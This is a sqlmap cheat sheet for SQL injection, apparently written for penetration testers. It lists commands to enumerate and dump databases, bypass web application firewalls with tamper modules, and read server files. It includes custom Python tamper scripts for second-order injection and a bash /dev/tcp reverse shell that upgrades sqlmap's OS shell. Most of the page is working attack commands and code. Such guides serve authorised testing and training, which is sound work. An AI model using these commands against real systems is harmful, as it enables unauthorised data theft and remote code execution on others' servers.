SQL Injection with Sqlmap
Last modified: 2024-02-08
SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page provides how to inject SQL using sqlmap.
Basic Usage
# GET request
sqlmap -u "http://<target-ip>/?search=test"
Using Burp Suite Request File
We can specify a request file which is downloaded from Burp Suite.
In Burp Suite, right-click on the HTTP request header screen, then click Save Item to download the request file. We can use it with SQLmap.
Add the "-r" flag as below.
sqlmap -r request.txt
In addition, we can see payloads to be tested in Burp Suite by setting the Burp proxy IP address to the --proxy
flag.
# --proxy: Set proxy URL e.g. we can inspect requests in BurpSuite by port 8080 (default port for BurpSuite)
sqlmap -u "https://example.com/?q=test" --proxy http://127.0.0.1:8080
Cheat Sheet
Basic
sqlmap -u "https://example.com/?q=test"
# Specific parameter
sqlmap -u "https://example.com/?q=test" -p q
# Header param injection
sqlmap -u "https://example.com/" --headers "X-Forwarded-For: 1*"
# POST body
sqlmap -u "https://example.com/" --data="username=test&password=test"
# Automate
sqlmap -u https://example.com --crawl 2
# Batch mode
sqlmap -u https://example.com --crawl 2 --batch
# Force SSL/TLS (--force-ssl)
sqlmap -u "https://example.com/?q=test" --force-ssl
Specify DBMS (Database Management System)
We can specify DBMS such as mysql
, postgres
, sqlite
to avoid unnecessary attempts.
sqlmap -u "https://example.com/?q=test" --dbms mysql
sqlmap -u "https://example.com/?q=test" --dbms postgres
sqlmap -u "https://example.com/?q=test" --dbms sqlite
Enumerations
# List databases
# --dbs: List databases
sqlmap -u "https://example.com/?q=test" --dbs
# List tables
# -D: Specific name of the database
# --table: List tables
sqlmap -u "https://example.com/?q=test" -D exampledb --tables
# List columns
# -T: Specific name of the table
# --columns: List columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users --columns
# Get each column value
# -C: Specific name of the column. We can specify single column or multiple columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username,password
# Get current user and database
sqlmap -u "https://example.com/?q=test" --current-user
sqlamp -u "https://example.com/?q=test" --current-db
Dump Entories
We can dump entories by adding --dump
flag.
sqlmap -u "https://example.com/?q=test" --dump
# Specify dbms, database, table
sqlmap -u "https://example.com/?q=test" --dump --dbms mysql -D exampledb -T users
# Dump all entories
sqlmap -u "https://example.com/?q=test" --dump-all
Risk/Level
We can specify the injection risk and level.
-
risk
Risk of tests to perform. Default is 1. Max is 3.
-
level
Level of tests to perform. Default is 1. Max is 5.
sqlmap -u "https://example.com/?q=test" --dump --dbms mysql --risk 3 --level 5
Random Agent
sqlmap -u "https://example.com/?q=test" --random-agent
Fresh Queries
If the database is modified, we can refresh the states by adding --fresh-queries
.
# --fresh-queries: new data in tables
sqlmap -u "https://example.com/?q=test" --fresh-queries
Injection Techniques
We can specify the injection technique to test by adding --technique
.
# Union attack (U)
sqlmap -u "https://example.com/?q=test" --technique U
# --delay 2: Time delay
sqlmap -u "https://example.com/?q=test" --technique U --delay 2
# Time-based Blind SQLi (T)
sqlmap -u "https://example.com/?q=test" --technique T
# Boolean-based blind injection (B)
sqlmap -u "https://example.com/?q=test" --technique B
Sleep
We can sleep for each injection.
# --time-sec 2: Sleep 2 seconds.
sqlmap -u "https://example.com/?q=test" --time-sec 2
Ignore HTTP response code
We can ignore specific HTTP response (status) code.
# Ignore 401 (Unauthorized)
sqlmap -u "https://example.com/?q=test" --ignore-code 401
# Ignore 500 (Internal Server Error)
sqlmap -u "https://example.com/?q=test" --ignore-code 500
Drop Set-Cookie
We can drop Set-Cookie
from HTTP response headers.
sqlmap -u "https://example.com/?q=test" --drop-set-cookie
Second Order Attack
Reference: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
If the SQL injection affects another URL, we want to customize the second URL.
Method 1. Simply adding the second request
We can add second-url
or second-req
flag in sqlmap
command.
Note that each request file (e.g. req1.txt
, req2.txt
) is downloaded by clicking "save item" in each request in BurpSuite.
# -p: Specify the parameter where payload will be put
sqlmap -u "https://example.com/profile/change" -p email --second-url "https://example.com/dashboard"
sqlmap -r req1.txt -p email --second-req req2.txt
Method 2. Tampering
If we could not achieve with the method 1, it’s worth to create a tamper function.
For example, create tamper.py
with the content below.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def change_profile(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"ExampleToken": "abcdef...xyz"}
params = {"username":"tester", "email":payload}
url = "https://example.com/profile/change"
req = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
# If we need to send json param, use `json` attribute instead of `data`.
url = "https://example.com/dashboard"
req = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
change_profile(payload)
return payload
By setting the proxy to http://127.0.0.1:8080
, we can see the requests and the responses in BurpSuite.
After creating, run sqlmap as below.
# Create this file in current directory to avoid error when running sqlmap with tamper
touch __init__.py
sqlmap --tamper tamper.py -r req1.txt -p email --second-req req2.txt --proxy http://127.0.0.1:8080
Integrate with Other Commands
We can set a dynamic value to the parameter by including another command such as curl
as follow:
sqlmap -u """https://example.com/?q=test&token=`curl https://api.example.com/auth -X POST -d "username=admin&password=admin" | awk -F '"' '{print$12}'`"""
Web Shell
Add option "--os-shell" to interact with web shell.
sqlmap -u "http://<target-ip>" --cookie="value=*" --os-shell
After activating, you may want to upgrade to the full functional shell.
You can do that using reverse shell.
In your local machine,
nc -lvnp 4444
Then execute the following command in web shell.
os-shell> bash -c 'bash -i >& /dev/tcp/<your-local-ip>/4444 0>&1'
Read Files
# --batch: never ask for user input, use the default behavior
sqlmap -r request.txt --file-read "/var/www/html/index.php" --time-sec 10 --batch
sqlmap -r request.txt --file-read "/var/www/<subdomain>/index.php" --time-sec 10 --batch
sqlmap -u "http://<target-ip>/?q=test" --file-read "var/www/html/index.php" --time-sec 10 --batch
Tampering
The sqlmap can be tampered by custom python script e.g. tamper.py or the default library.
To list all tampers, run the following command.
sqlmap --list-tampers
WAF (Web Application Firewall) Bypass
This post explains details for what each module works.
# General
sqlmap -r request.txt --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,escapequotes,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
# MSSQL
sqlmap -r request.txt --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
# MySQL
sqlamp -r request.txt --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
Custom tamper modules (Base64 encode)
We can also create our custom modules.
For instance, we create "tamper.py".
#!/usr/bin/python3
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
payload = encodeBase64("%s" % payload, binary=False)
return payload
Then execute sqlmap.
# The tamper is a module, so we need to create __init__.py in the current directory.
touch __init__.py
sqlmap -u "https://example.com/" --cookie "session=*" --tamper=tamper.py
Multiple Requests
#!/usr/bin/python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
address = "http://vulnerable.com"
password = "test"
def dependencies():
pass
def create_account(payload):
with requests.Session() as s:
data = {"username": payload, "password": password}
resp = s.post(f"{address}/signup", data=data)
def login(payload):
with requests.Session() as s:
data = {"username": payload, "password": password}
resp = s.post(f"{address}/login", data=data)
sessid = s.cookies.get("session", None)
return "session={}".format(sessid)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
create_account(payload)
headers["Cookie"] = login(payload)
return payload
Then run the sqlmap with the tamper option.
sqlmap --tamper tamper.py --url http://vulnerable.com/signup --data "username=admin&password=test" --second-url "http://vulnerable.com/post" --no-cast